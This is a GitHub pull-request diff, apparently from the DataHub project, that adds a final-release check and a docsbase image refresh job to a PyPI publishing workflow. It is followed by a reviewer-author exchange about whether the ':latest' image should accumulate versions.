18 changes: 18 additions & 0 deletions .github/workflows/publish-pypi-release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ jobs:
runs-on: ubuntu-latest
outputs:
tag: ${{ steps.tag.outputs.tag }}
is_final_release: ${{ steps.tag.outputs.is_final_release }}
steps:
- name: Checkout
uses: actions/checkout@v4
Expand All @@ -22,6 +23,12 @@ jobs:
echo "GITHUB_REF: $GITHUB_REF"
TAG="${GITHUB_REF#refs/tags/v}"
echo "tag=$TAG" >> "$GITHUB_OUTPUT"
# docsbase wants final X.Y.Z and X.Y.Z.W releases, not rc/post/dev suffixed tags.
if [[ "$TAG" =~ ^[0-9]+(\.[0-9]+){2,3}$ ]]; then
echo "is_final_release=true" >> "$GITHUB_OUTPUT"
else
echo "is_final_release=false" >> "$GITHUB_OUTPUT"
fi
push_to_pypi:
name: Build and push python package to PyPI
runs-on: ubuntu-latest
Expand Down Expand Up @@ -52,3 +59,14 @@ jobs:
cd metadata-ingestion
cp constraints.txt src/datahub/constraints.txt
RELEASE_VERSION=${{ needs.setup.outputs.tag }} ./scripts/release.sh

refresh_docsbase:
name: Refresh connector docsbase image
needs: [setup, push_to_pypi]
if: ${{ needs.setup.outputs.is_final_release == 'true' }}
uses: ./.github/workflows/connector-docsbase.yml
secrets:
DOCSBASE_DH_TOKEN: ${{ secrets.DOCSBASE_DH_TOKEN }}
with:
versions: '["${{ needs.setup.outputs.tag }}"]'

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Passing one version rebuilds :latest from just that version — is that intended?

The callee builds the image FROM scratch out of only the artifacts this run produced, and nothing merges in the previously published corpus. So on v1.7.0.4 the matrix has one entry, floor == ceiling, and it publishes :1.7.0.4-1.7.0.4 plus :latest containing exactly one version. Anything resolving :latest for 1.7.0.3 or earlier then gets a missing path, and the prior multi-version :latest is only recoverable by re-running a backfill.

I might be misreading the intended lifecycle. If :latest is meant to be single-version, then the <floor>-<ceiling> range tag and the sliding-window framing read as promising otherwise. If it's meant to accumulate, this needs to either pull the previous corpus forward before assembling, or pass the full window (days:) instead of the one new tag.

No suggestion here since it depends which way you want it.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Went with accumulate: assemble-and-publish now pulls :latest forward, merges in this run's freshly generated versions (which win over stale copies), then prunes anything outside the days retention window — unioned with this run's own versions, so an explicit backfill of an old version isn't immediately pruned in the same run that generated it. Verified live, not just in theory: a single-version dry run correctly showed the merge+prune behavior, then I ran a real (non-dry) full backfill that republished :latest with clean coverage 1.6.0..1.7.0.4 (21 versions, digest sha256:c6b390c54e5f4583ec2f5f295708e74b73ba3fdba44a13800215949f5b0551f5).

dry_run: false
Loading
Loading